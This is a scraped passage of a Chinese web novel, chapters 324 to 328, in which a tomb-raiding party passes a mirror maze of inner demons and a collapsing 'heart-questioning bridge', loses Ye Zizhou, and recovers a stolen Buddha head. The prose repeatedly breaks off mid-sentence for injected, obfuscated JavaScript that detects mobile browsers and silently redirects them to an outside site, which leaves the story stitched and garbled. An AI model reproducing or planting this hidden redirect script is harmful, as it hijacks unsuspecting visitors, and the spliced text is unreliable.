那不是天然形成的纹路,而是人为的刻画,字迹潦草,笔画深浅不一,透着一股仓皇与挣扎。 是万老头的日记。 “……它在跟我说话,夜里,梦里,清醒时,都在说……它说人心里的窟窿,都能用它来填满……” “……我看到了金山银山,看到了长生不老,我快疯了……我把耳朵堵上,它就在我脑子里响……” “……我不能让它出去,绝对不能……它会把所有人都变成疯子,像我一样的疯子……我得把自己锁起来,把它也锁起来……” 断断续续的字句,像是一个人在心智被彻底吞噬前,用尽最后力气留下的哀嚎。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15976002|165820||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 秦绵绵伸出手,冰凉的指尖抚过那些刻痕,仿佛能触摸到十几年前,那个倒斗客在这里被佛头力量侵蚀的痛苦与绝望。 他说它会放大人的欲望和恐惧。 只有秦绵绵知道,那是他突然连接到了不知名的异时空,体验到了和自己这里不一样的人生。 但他肯定不能接受,会觉得一切都是幻觉,因此才会觉得这佛头的力量侵蚀了自己。 秦绵绵忽然好像想到了什么,下意识地看了一眼身旁的叶子舟。 他正死死盯着那些字,眼神里有一种异样的狂热,那股子从寿衣店里就透出来的执拗,此刻像是找到了共鸣,愈发浓烈。 甬道的尽头,豁然开朗。 一个巨大到超乎想象的地下溶洞,出现在众人面前。 洞顶悬挂着无数奇形怪状的钟乳石,像是凝固的瀑布,又像是某种巨兽的獠牙,在手电的光柱下,投射出光怪陆离的影子。 而在溶洞的正中央,赫然矗立着三扇一模一样的石门。 三扇门,同样的高度,同样的宽度,同样古朴的石质,没有任何标识,就那么安静地立在那里,仿佛三张面无表情的脸,不知通往何处。 看到那三扇门的瞬间,一直强作镇定的钱小乙,身体猛地一僵,脸上的血色“唰”地一下褪得干干净净。 “完了……”他嘴唇哆嗦着,喉咙里发出嗬嗬的声响,像是被什么东西扼住了咽喉,“完了……是‘三生门’……” “我师父最后的嘱咐里提过……这叫‘三生门’,一生,一死,一疯魔。”他惊恐的目光在三扇门之间来回扫视,带着绝望闭了闭眼,“能选中正确的人,千百年来还没有一个……” 话音未落—— 嗡…… 秦绵绵口袋里的石雕佛手,毫无征兆地剧烈发烫,那温度高得吓人,仿佛一块烧红的烙铁。 她还没来得及掏出来,那佛手竟自己从口袋里飞了出来。 它悬浮在半空中,通体散发出柔和却不容忽视的白色光芒,将整个幽暗的溶洞都照亮了几分。 第324章 疯魔门 所有人都屏住了呼吸,心脏提到了嗓子眼。 在众人的注视下,那尊佛手像是有自己的意识,缓缓地在三扇石门前游移,光芒忽明忽暗。 时间在这一刻被无限拉长。 终于,佛手停住了。 它散发出的光芒,凝聚成一道清晰的光束,笔直地射向了最右边的那扇石门。 那扇门上,不知何时,竟浮现出了一张扭曲、诡异的鬼脸浮雕。 疯魔之门。 “不!不能走那条!”钱小乙几乎是扯着嗓子失声尖叫起来,脸上是前所未有的恐惧,“我师父说过,那条路通往的是人的心魔幻境!是无间地狱!进去的人,没一个能清醒着出来!” 然而,他的警告已经晚了。 随着佛手的选择,那扇刻着鬼脸的石门发出了“嘎吱嘎吱”的声响,缓缓向内开启。 门后,是深不见底的漆黑,像是能吞噬一切光线和声音的虚空。 隐约间,还有阵阵令人心悸的、仿佛来自灵魂深处的低语,从中飘散出来。 “没有时间了。” 秦绵绵的声音打破了这片死寂,她第一个站了出来,目光越过众人,直直地盯着那片黑暗,“我必须拿到佛头。” 她看了一眼身旁的林鸢和姚祁,眼神里是前所未有的坚定。 “你们留在外面,如果我半小时没出来……” “我跟你去!” “我也去!” 姚祁和叶子舟的声音想也不想地同时响起,粗暴地打断了她的话。 叶子舟更是直接站到了秦绵绵身边,那姿态,与其说是保护,不如说更像是一种不容置喙的占有。 林鸢紧紧抓住秦绵绵的手,通红的眼睛里没有半点退缩:“岁岁,你在哪,姑姑就在哪。” 朱七妹和姜敬意也毫不犹豫地站了出来。 所有人都选择了共同进退。 秦绵绵看着眼前的每一个人,心中涌起一股暖流,她不再多言,点了点头,率先迈开脚步。 一行七人,怀着决绝的心情,依次踏入了那扇代表着“疯魔”的石门。 踏入的瞬间,便有一股强烈的天旋地转袭来。 众人只觉得眼前一花,脚下仿佛踩空,整个世界都在扭曲、颠倒。 当他们再次睁开眼,站稳身体时,所有人都被眼前的景象惊得呆住了。 他们正身处一个巨大得望不到边际的迷宫之中。 而构成这个迷宫的,不是石墙,不是树篱,而是……无数面光洁如新的镜子。 四面八方,上下左右,全都是镜子。 每一面镜子里,都映照出他们自己的身影,千千万万,层层叠叠,无穷无尽。 更可怕的是,镜中的自己,表情和眼神,都开始发生诡异的变化。 那里面,倒映出的,是他们内心最深处,连自己都不敢去触碰的……恐惧。 …… 无休无止的镜子。 像一个用玻璃和水银筑成的、冰冷光滑的囚笼,将他们七个人困在其中。 每一面镜子里,都有一个自己。 再转头,又有千百个自己,从更深的镜面里,用一模一样的茫然表情,回望着你。 “这……这是什么鬼地方?”姜敬意声音发颤,他小心翼翼地伸出手,不敢去碰触那些镜面,生怕一碰,镜子里的自己就会伸出手来,把他拖进去。 没有人回答他。 因为,异变已经开始了。 姜敬意身侧的一面镜子里,那个和他长得一模一样的男人,脸上的惊恐和茫然褪去,取而代之的,是一种鄙夷和幸灾乐祸的冷笑。 镜中的他,穿着考究的西装,手腕上是价值不菲的名表,身后是灯火辉煌的宴会厅。 而镜子外的姜敬意,身上的衣服不知何时变得又脏又破,头发油腻地粘在额前,整个人蜷缩在肮脏的街角,手里捧着一个破碗。 “哟,这不是姜四少爷吗?”镜中的自己,居高临下地看着他,嘴角挂着残忍的笑意,“怎么混成这样了?哦,对了,你跟的那群人都死在古墓里了,没人给你撑腰了,活该。” “不……不是的……”姜敬意脸色惨白,连连后退。 “秦绵绵?林鸢?她 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15976003|165820||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 们早就化成白骨了!你还指望谁?你就是个废物,离了他们你什么都不是!” 镜中的声音像淬了毒的针,狠狠扎进他的心里。 他眼前的镜子迷宫消失了,取而代之的,是阴冷潮湿的地下通道,头顶滴着污水,路过的行人对他避之不及。 “不!滚开!”他抱着头,发出一声凄厉的尖叫,整个人陷入了癫狂。 …… 另一边,姚祁的瞳孔骤然收缩。 周围的镜子,变成了孤儿院那刷着白漆、却早已斑驳脱落的墙壁。 空气里弥漫着来苏水和廉价饭菜混合的、令人作呕的气味。 一个穿着褪色蓝布工作服的男人,拎着一根皮带,正一步步朝他走来。 “小杂种,还敢跑?”男人的脸上,是姚祁少年时最深的梦魇,“今天非打断你的腿不可!” 姚祁下意识地后退,身体却撞在冰冷的墙壁上,退无可退。 他想反抗,想呼救,可喉咙里却像堵了一团棉花,发不出任何声音。 他变回了那个瘦弱无助的少年,只能眼睁睁看着皮带高高扬起,带着风声,狠狠抽向他的脸! …… “哥!嫂子!” 林鸢的身体剧烈地颤抖起来。 镜子碎裂,化作了扭曲的车祸现场。 刺鼻的血腥味和汽油味扑面而来。 她的哥哥和嫂子,被卡在变形的驾驶室里,浑身是血。 “岁岁……我们的岁岁……”嫂子气若游丝,用尽最后一丝力气,看向她,那双美丽的眼睛里,没有了往日的温柔,只剩下无尽的哀怨和责备。 “林鸢……为什么……为什么你没能早点找到她……如果我们一家团聚……就不会……” “哥……”林鸢伸出手,想要抓住什么,却只抓到一片虚无。 “……你……对不起我们……” 哥哥的声音,像一把生锈的刀,在她的心上来回切割。 “不——!” 那个在道上杀伐果断、从不流泪的女人,此刻跪倒在地,发出了撕心裂肺的哭嚎。 第325章 都是假的 朱七妹、叶子舟、钱小乙,每一个人,都陷入了自己最恐惧的幻象中,或怒吼,或哭泣,或呆滞,在这片诡异的镜子迷宫里,上演着各自的崩溃。 只有秦绵绵不同。 她也看到了。 一个冰冷的,没有窗户的房间。 裴应见被绑在一张金属床上,他清隽的脸上没有一丝血色,嘴唇干裂,眼神涣散,却依旧死死地盯着天花板,仿佛那里有他最后的坚守。 一个女人背对着她,站在床边。 那女人没有脸。 她的脸部是一片光滑的皮肤,没有眼睛,没有鼻子,没有嘴巴。 她手里拿着一把手术刀,刀锋在灯光下,反射出森冷的光。 “你看,他多倔强。”一个声音,不知从何处响起,直接在秦绵绵的脑海里回荡,“明明只要说出你的下落,就能解脱了。可他偏不。” 秦绵绵的心,像被一只巨手攥住,疼得她几乎要窒息。 她想冲过去,身体却像被钉在原地,动弹不得。 她看到那无面女,用手术刀,在他的胳膊上,轻轻划开了一道口子。 没有惨叫。 裴应见只是身体猛地绷紧,额上青筋暴起,一声痛苦的闷哼从喉咙深处溢出。 “他的骨头很硬,意志力也很有趣。”那个声音带着一种玩味的残忍,“不过没关系,我们有的是时间,可以一点一点,把他敲碎,磨烂,直到他变成一滩连你都认不出来的烂泥。” “不……不要……”秦绵绵的眼泪夺眶而出,声音嘶哑。 她眼睁睁地看着,那无面女的动作越来越快,裴应见的身体上,伤口越来越多,鲜血浸透了他身下的床单。 最后,他不再动了。 那双曾盛满星辰大海的眼眸,彻底失去了光彩。 无面女扔掉手术刀,像处理一件垃圾一样,将他的身体拖下床,扔进了一个装满化学药剂的池子里。 “滋啦——” 腐蚀的声音响起,裴应见的身体,连同他所有的骄傲与坚守,都在那池子里,化作了一缕青烟,尸骨无存。 不。 不!!! 极致的痛苦和绝望,像海啸一样将秦绵绵吞没。 她几乎就要崩溃,就要随着这幻象一起沉沦。 可就在这时,那个之前被惊醒的噩梦,猛地闪回她的脑海。 同样的场景,同样的折磨。 不! 她猛地醒了过来! 这一切还没有发生! 裴应见还在等她!还在大雍的某个角落,等着她去救他! 她不能在这里倒下! 这个念头,像一道劈开混沌的闪电,瞬间照亮了她被黑暗吞噬的意识。 “假的……都是假的!” 秦绵绵猛地抬头,眼中血丝密布,那里面没有了崩溃和绝望,只剩下烈火烹油般的执念和疯狂。 “给我破!” 她怒吼一声,口袋里那尊冰凉的石雕佛手,仿佛感受到了主人的意志,骤然爆发出滚烫的热量! 嗡—— 白光大盛。 眼前的惨烈景象如玻璃般寸寸碎裂,露出了外面光怪陆离的镜子迷宫。 而她的同伴们,依旧在各自的心魔里挣扎,丑态百出。 “姑姑!” 秦绵绵冲到林鸢身边,大声呼喊。 可林鸢像是没听见,依旧跪在地上,对着空气哭喊着“哥”。 没用! 秦绵绵心中一动,将那尊滚烫的佛手,紧紧握在掌心,再次喊道:“林鸢!醒过来!你哥嫂的仇还没报!岁岁还需要你!” 这一次,她的声音仿佛拥有了穿透虚妄的力量。 林鸢的哭声戛然而止,身体一震,茫然地抬起头,眼中的哀怨和痛苦渐渐褪去,恢复了清明。 “绵绵……”她看着秦绵绵,又看看自己的双手,大口大口地喘着气,像是刚从水里捞出来。 有用! 秦绵绵不及多想,立刻抓着佛手,挨个走向其他人。 “姚祁!孤儿院已经过去了!你不是那个任人欺负的孩子了!” “姜敬意!都是假的,我们还活着!” “叶子舟!” “朱七妹!” …… 一声声夹杂着佛手力量的怒喝,像一把把重锤,将众人从各自的噩梦中砸醒。 每一个人醒来时,都是脸色煞白,浑身 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15976004|165820||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 冷汗,精神萎靡到了极点,仿佛被抽走了半条命。 镜子迷宫的尽头,终于出现了一个出口。 那是一个黑漆漆的洞口,像一张沉默的嘴。 众人拖着疲惫不堪的身体,互相搀扶着,踉踉跄跄地走向那里。 可就在他们离洞口只有几步之遥时,所有人都停住了脚步,瞳孔齐齐收缩。 洞口前,站着一个背影。 一个穿着和秦绵绵一模一样衣服的背影。 而在那个“秦绵绵”的脚下,静静地躺着一个人。 是裴应见。 他了无生息地躺在冰冷的地上,胸口没有一丝起伏,脸上带着一种解脱般的安详。 众人心头一紧,下意识地看向身边的秦绵绵。 只见那个背对着他们的“秦绵绵”,缓缓地,缓缓地,转过身来。 她有着一张和秦绵绵一模一样的脸。 只是,她的脸上,带着一抹诡异的,近乎慈悲的微笑。 “你看,”假的“秦绵绵”开口了,声音空灵而飘忽,“他终于不用再痛苦了。而我,也终于可以放下一切了。” “你们回去吧,佛头,我不需要了。” 她说完,温柔地看了一眼地上的“尸体”,脸上是满足的笑意。 所有人都震惊在原地。 倘若,他们刚才没有突破幻象,没有突破心魔,此时此刻,必被这样的场景蛊惑。 但是现在,所有人都清楚,这也不过是假的罢了。 这是这幻象的最后一关。 用她最深的执念,来作为诱惑,让她放弃。 秦绵绵看着那个虚假的自己,又看了一眼地上那个虚假的裴应见,心中再无波澜。 她握紧了手中的佛手,一步步走上前,眼神冷得像冰。 “你不是我。” 她平静地开口,声音不大,却清晰地回荡在每个人的耳边。 “我的男人,只要还有一口气在,我就要把他从阎王手里抢回来。他**,我就掀了这地府,让他活过来。” “放下?” 秦绵绵嗤笑一声,眼中是睥睨一切的狂傲。 “我秦绵绵的字典里,从来没有这两个字!” 第326章 叶子舟之死 话音落下的瞬间,她手中佛手的光芒,暴涨到极致! “给我——滚!” 那假的“秦绵绵”脸上的笑容瞬间凝固,随即和地上裴应见的“尸体”一起,像被戳破的泡沫,化作点点光斑,消散在空气中。 前方的黑暗洞口,露出了它本来的面目。 一条通往更深处的,真正的甬道显露了出来。 幻象如烟尘散尽,前方那条真正的甬道,幽深得仿佛能吞噬光线。 劫后余生的众人,精神像是被抽干了的海绵,每一步都踩在棉花上。 姚祁的脸色比墙壁还白,姜敬意则始终低着头,仿佛那镜中潦倒的乞丐才是他的真身。 林鸢紧紧攥着秦绵绵的手,指节用力到发白,似乎只有这样,才能确认彼此都还真实地活着。 穿过不算长的甬道,眼前豁然开朗。 这是一个比之前溶洞更加宏伟的地下石室,高不见顶,穹顶上垂下的钟乳石,像一尊尊倒悬的神佛,沉默地注视着下方。 石室中央,是一个巨大的圆形石台。 石台与他们脚下的入口,以及对面唯一的出口之间,被一圈深不见底的漆黑深渊隔断。 连接两岸的,只有一条窄窄的石梁。 那石梁不过一人宽,表面斑驳,仿佛一阵风就能吹断。 “这……”姜敬意喉结滚动了一下,刚从心魔中挣脱,又被眼前的绝境扼住了呼吸。 钱小乙的目光死死钉在那条石梁上,脸上的血色以肉眼可见的速度褪去,那是一种比面对疯魔之门时更加纯粹的恐惧。 他嘴唇哆嗦着,声音都变了调:“问心桥……这是问心桥……” “什么桥?”林鸢警惕地问。 “走上去的人,心里不能有愧,”钱小乙的声音干涩得像砂纸在摩擦,“只要你心里藏着一件愧对良心的事,石梁……就会断。” 此言一出,空气瞬间凝固。 所有人,都下意识地后退了半步。 心中无愧? 谁敢说自己这辈子,干干净净,没有半点亏心事? 姜敬意想到了自己为私心,曾隐瞒对他人的判词。 姚祁想到了自己为了在孤儿院活下去,曾将半个馒头藏起,眼睁睁看着另一个更小的孩子饿死。 林鸢的脑海里,闪过无数次为了学术而做的铤而走险的事。 就连秦绵绵,都想到了自己手上沾过血。 这根本就是一个死局。 一条绝路。 气氛压抑到了冰点,绝望像潮水般重新漫上每个人的心头。 只有叶子舟,从始至终都站在原地,一动不动。 他一直很恍惚,从疯魔之门出来后,他就沉浸在一种深深的自责里。 幻象中,他看到自己一次次拖累秦绵绵,最终害**所有人。 他觉得那就是自己的宿命,一个一无是处的废物。 他存在的意义到底是什么? 他的目光没有看那条石梁,而是落在了入口处,一块不起眼的石碑上。 碑上,刻着一行小字。 ——唯赤子之心,方可通行。 赤子之心…… 叶子舟看着那四个字,混沌的眼神里,忽然亮起了一丝奇异的光。 他想起了甬道石壁上,万老头那疯狂而决绝的遗言,那种以身殉道的悲壮,曾让他热血沸腾。 赤子之心,不就是纯粹吗? 不就是为了更重要的人,可以毫不犹豫献出一切的决心吗? 他觉得自己懂了。 他终于知道,自己能做什么了。 一丝释然的,近乎天真的微笑,浮现在他苍白的脸上。 他转过头,深深地看了一眼秦绵绵,那目光里有愧疚,有崇拜,更有解脱。 “掌柜的,”他轻声说,声音里带着一种从未有过的平静,“我终于能为你做点事了。” 话音未落,他猛地转身,像一头决绝的幼兽,朝着那条石梁,狂奔而去! “叶子舟!” “不要!” 秦绵绵和林鸢的惊呼声同时响起,可一切都太快了! 众目睽睽之下,叶子舟的身影已经冲上了石梁。 然而,预想中石梁发光或者崩塌的景象,都没有发生。 他脚下的古老文字,非但没有亮起,反而瞬间黯淡了下去。 紧接着,他脚下那块平整的石板,毫无征 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15984276|165820||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 兆地“咔哒”一声,猛地向下翻转,露出一个闪着寒光的尖锐豁口! “啊——!” 叶子舟一声短促的惊呼,身体瞬间失去平衡,整个人直直地朝着下方的无尽深渊坠去! 电光火石间,秦绵绵疯了一样扑过去,指尖险之又险地,勾住了他伸出的手的一角衣袖! 布料传来巨大的撕扯力,将秦绵绵也朝着深渊拖去! “掌柜的……快走……” 深渊的风,将叶子舟最后的声音吹得支离破碎。 秦绵绵眼睁睁地看着,那片衣角从她绷紧的指尖滑脱。 叶子舟的身影,像一颗投入深潭的石子,迅速被那浓得化不开的黑暗吞噬,再没有半点声息。 死寂。 针落可闻的死寂。 就在这时,石梁对面,那紧闭的出口石壁上,忽然有血色的光芒亮起,一行新的字,缓缓浮现。 【祭品已献,通路已开。】 众人心头一震,难道……叶子舟的死,真的换来了通路? 可还没等这荒谬的念头升起,钱小乙却发出一声仿佛见了鬼的尖叫,他指着那行血字,浑身抖得像筛糠。 “错了……全错了!” “他不是祭品!他是……惩罚!” 钱小乙面无人色地嘶吼道:“‘问心桥’考验的不是无愧,是‘坦诚’!是敢不敢面对自己的内心!他……他怀着‘牺牲自己’的念头走上去,想用死来证明自己的价值,这在古墓的判定里,是最大的‘伪善’!” 伪善? 众人如遭雷击。 钱小乙的话,像一把最残忍的刀,剖开了叶子舟那天真而悲壮的死亡,露出了底下荒诞而徒劳的真相。 他到死都以为自己的牺牲,悲壮而有意义。 可他……错了。 不等众人从这巨大的冲击中回过神来。 轰隆—— 整个石室,开始剧烈地晃动起来! 脚下的地面在震颤,头顶的钟乳石簌簌地落下碎石。 那条连接着生路的“问心桥”,正在以肉眼可见的速度,从中间开始,一寸,一寸地崩裂。 他们只剩下最后几分钟的时间! 第327章 找到佛头 “轰隆隆——” 地动山摇! 那座承载着荒诞真相的“问心桥”,正从中央裂开一道狰狞的口子,并以肉眼可见的速度朝着两端蔓延。 碎石如雨点般坠入脚下那片化不开的浓黑深渊,连一丝回音都听不见。 “完了!全完了!”钱小乙一屁股瘫坐在地,脸上是死灰般的绝望,“出不去了!我们都要给那个蠢货陪葬!” 姜敬意失神地望着那座正在解体的石梁,嘴唇翕动,喃喃自语:“伪善……惩罚……他到死都……” 绝望,比疯魔之门里的幻象更加真实,像冰冷的海水,瞬间没过了所有人的头顶。 就在这片死寂之中,一直沉默的朱七妹,猛地将身上沉重的背包甩在地上,发出一声闷响。 她什么话都没说,只是用那双总是没什么情绪的眼睛扫了一圈众人,最后定格在石梁对岸那个唯一的出口上。 她从背包里扯出一条登山用的高强度绳索,动作粗暴而迅速地在姚祁腰上缠了几圈,打了个死结。 姚祁被她突如其来的动作惊得一愣:“七妹,你干什么?” 朱七妹不答,只是抓起绳索的另一端,用一种近乎原始的方式,开始在原地抡圈。 姚祁的身体瞬间离地,像个被甩起来的麻袋,在空中划出惊心动魄的弧线! “啊——!” “七妹!” 林鸢和秦绵绵的惊呼同时响起。 可朱七妹充耳不闻,她手臂上的肌肉坟起,青筋暴突,那张平日里总是很平静的脸上,此刻满是专注与蛮横。 她将姚祁越抡越快,呼啸的风声几乎要撕裂耳膜。 “抓紧了!” 她爆喝一声,在将姚祁抡到最高点时,猛地松手! 姚祁像一颗被投石机抛出的石子,带着长长的绳索,尖叫着划过数十米的深渊,精准地、狼狈地砸在了对岸的平台上,滚了好几圈才停下。 所有人都看呆了。 包括瘫在地上的钱小乙,他张着嘴,忘了恐惧。 这……这是人能有的力气? 不等众人反应,朱七妹已经抓住了绳索的这一端,看向秦绵绵,言简意赅:“掌柜的,你先。” 秦绵绵看了一眼身后不断崩塌的石壁,再看看那根在深渊上方微微晃荡的绳索,没有丝毫犹豫。 她抓住绳索,朱七妹和林鸢立刻上前,帮她将身体固定住。 “拉!”对岸的姚祁已经反应过来,他死死地将绳索在凸起的岩石上绕了几圈,用尽全身力气开始往回拽。 朱七妹在这边,则直接用手推着秦绵绵,像推一艘小船,巨大的力道让秦绵绵荡过深渊的过程缩短了至少一半。 秦绵绵双脚落地的瞬间,石梁“轰”的一声,又断裂了一大截。 “快!下一个!”秦绵绵回头吼道。 林鸢、姜敬意、钱小乙,在两岸的拉扯和朱七妹的“助推”下,有惊无险地,一个接一个荡过了这片死亡深渊。 钱小乙落地时,裤裆已经湿了一片,整个人抖得像筛糠。 最后,只剩下朱七妹一人还留在即将完全崩塌的平台上。 她将绳索在身边一块巨岩上固定好,看了一眼脚下只剩最后几米宽的平台,深吸一口气,后退,助跑,然后纵身一跃! 她的身躯在空中荡起一道惊人的弧线,就在她荡到最高点时,她身后最后的平台,在一声巨响中,彻底分崩离析,坠入黑暗。 朱七妹重重地砸在众人围城的圈里,虽然被众人接住,但整个地面还是为之一震。 劫后余生。 可谁也笑不出来。 叶子舟的死,像一块沉重的铅,压在每个人的心上。 秦绵绵回头望了一眼那片彻底断绝的来路,将所有的情绪都压回眼底,声音沙哑却不容置喙:“走。” 最后的甬道很短。 没有机关,没有陷阱。 当他们走出甬道,眼前的景象让所有人都愣住了。 没有想象中金碧辉煌的墓室,也没有堆积如山的财宝。 这里很小,像一间苦修者的石窟。 石室中央,只有一个光秃秃的石台。 一具早已风干成白骨的骸骨,以一种极为虔诚的打坐姿态,盘坐在石台上。 他的脊梁挺得笔直,仿佛到死都在坚守着什么。 在他的怀中,一双骨手,紧紧地,紧紧地抱着一个古朴的金丝楠木盒子。 万老头。 众人心中,同时浮现出这个名字。 而在骸骨旁的石壁上,用指甲,或者说用骨头,刻着一行行字迹,潦草而疯狂,充满了决绝。 【此物深邃玄奥,能窥探天机。然而,若人心存有罅隙,必为其所趁。吾以残躯为锁,以血肉为牢,将其永镇于此。后世来者,倘若并非天命所 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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小小的石室中在这个时刻,奇异地充斥着一种难以言说的平静。 所有人似乎也都被这平静感染,心里的杂念纷纷退去。 第328章 回归 然而,这份短暂的宁静,如同镜花水月一般,下一秒就被一声震耳欲聋的巨响彻底撕碎! “轰——隆隆!” 整个石窟都在剧烈地摇晃,脚下的地面仿佛活了过来,在疯狂地颠簸。 头顶上,那些倒悬的钟乳石如同断裂的利剑,带着尖锐的呼啸声砸落下来,在他们身边不远处摔得粉碎。 尘土弥漫,瞬间遮蔽了视线。 “快!找出口!”秦绵绵的声音在轰鸣中响起,带着一丝因震动而产生的颤抖,却依旧强硬。 那具盘坐的白骨,在剧震中轰然散架,连同它守护了不知多少岁月的石台,一同裂开,坠入地面张开的黑色裂缝之中。 来时的甬道,入口处一块巨石轰然砸落,彻底封**退路! “完了!我们被活埋了!”钱小乙发出凄厉的尖叫,脸上最后一丝血色也褪尽,他手脚并用地躲避着落石,狼狈不堪。 绝望再次扼住了所有人的喉咙。 “都给我动起来!”秦绵绵的吼声像一道惊雷,强行劈开了笼罩在众人头顶的绝望阴云,“不想死在这里,就沿着墙壁找!任何机关、缝隙,都不要放过!” 她的声音像一剂强心针,猛地扎进了众人几近**神经。 她一把推开还在发愣的姜敬意,率先冲向那具白骨散落的石台后方,用手掌和**,开始一寸寸地探查、敲击着冰冷的石壁。 她的动作粗暴而急切,仿佛要将求生的意志,狠狠地凿进这绝境之中。 林鸢和朱七妹立刻反应过来,一左一右地分头行动。 姚祁也强迫自己冷静下来,加入了搜索的行列。 “还有别的路!”钱小乙也连滚带爬地扑到那具枯骨身后的石壁上,声音尖利得像被踩了尾巴的猫,“我师父说过,这里有条生路,只有拿到东西才能开!” 他发疯似的在石壁上摸索,指甲都抠出了血。 终于,他按中了某处,整面石壁向内凹陷,露出一个仅容一人通过的狭窄洞口,一股潮湿的、带着泥土腥气的风灌了进来。 “走!” 秦绵绵一声令下,众人再不敢有片刻迟疑,鱼贯钻入那条生路。 这条路比来时更加崎岖,是天然形成的溶洞缝隙,最窄处需要侧身才能挤过。 没有人说话,只有沉重的喘息和脚下碎石的摩擦声,在死寂的黑暗中无限放大。 叶子舟的死,像一根无形的刺,扎在每个人的喉咙里。 不知爬了多久,当第一缕带着湿气的微光从前方传来时,钱小乙第一个手脚并用地爬了出去,大口大口地呼吸着外面冰冷而新鲜的空气,像是溺水者重获新生。 众人陆续钻出洞口,才发现出口竟藏在一片茂密的灌木丛里,离天坑边缘已有数百米远。 天,已经蒙蒙亮了。 灰白色的晨雾笼罩着月亮山,远处山峦的轮廓在雾气中若隐若现,像一幅泼了水的山水画。 劫后余生的众人,身上脸上都沾满了泥污,狼狈不堪。 可谁也顾不上这些,气氛沉重得能拧出水来。 “我……我的任务完成了。”钱小乙哆哆嗦嗦地站起来,不敢看任何人的眼睛,只想快点离开这个是非之地,“我什么都不知道,什么都没看见……” 他语无伦次地说着,转身就要往山下跑。 “站住。” 秦绵绵冰冷的声音,让他像被钉在原地,动弹不得。 她从背包里拿出一沓现金,扔在他脚下:“**。忘了今晚,也忘了我们。” 钱小乙看着那沓钱,又看看秦绵绵那双毫无温度的眼睛,吓得一哆嗦,捡起钱,头也不回地消失在了山雾里。 回去的车上,死一样的寂静。 姚祁开着车,姜敬意坐在副驾,头靠着车窗,一言不发。 后座上,林鸢紧紧握着秦绵绵的手,那只装着佛头的金丝楠木盒,就放在两人中间。 朱七妹则像一尊雕塑,沉默地看着窗外飞速**的景物。 每个人都在咀嚼着叶子舟的死。 那个天真、冲动,明明很聪明,却有时候又显得有些蠢笨的年轻人,用一种最荒诞的方 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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可经历过这么多危险之后,尤其是在千难万阻后终于找到岁岁的下落之后,林鸢的心境已经变了。 第二天,众人回到客栈,气氛压抑到了极点。 叶子雯的情况暂时稳定,但需要留院观察。 大伙儿也都累了,需要休息。 临睡下前,秦绵绵忽然叫住准备走的林鸢: “东西呢?” 她看着林鸢,眼神平静,却又含着一丝幽深。 林鸢眼神闪躲了一下,强作镇定道: “收好了,你不用管。” 秦绵绵深深地看了她一眼,没再追问,转身回了自己房间。 可当晚,姚祁突然敲开了秦绵绵的房门,脸色煞白。 “佛头不见了!” “什么?”林鸢和闻声赶来的朱七妹、姜敬意全都愣住了。 姚祁指着桌上那个空空如也的金丝楠木盒: “我刚刚检查监控,发现客栈周围有可疑人员活动的迹象,很可能是萧家的人!我想把佛头转移到更安全的地方,结果打开盒子一看……是空的!” 一瞬间,所有人的心都沉到了谷底。 萧家的人,竟然这么快就找上门了?还在他们眼皮子底下,神不知鬼不觉地偷走了佛头? “不可能!”林鸢脱口而出,“我一直守着……” “现在说这些没用了!”姜敬意焦躁地来回踱步,“他们拿到了佛头,下一个目标就是佛手!” 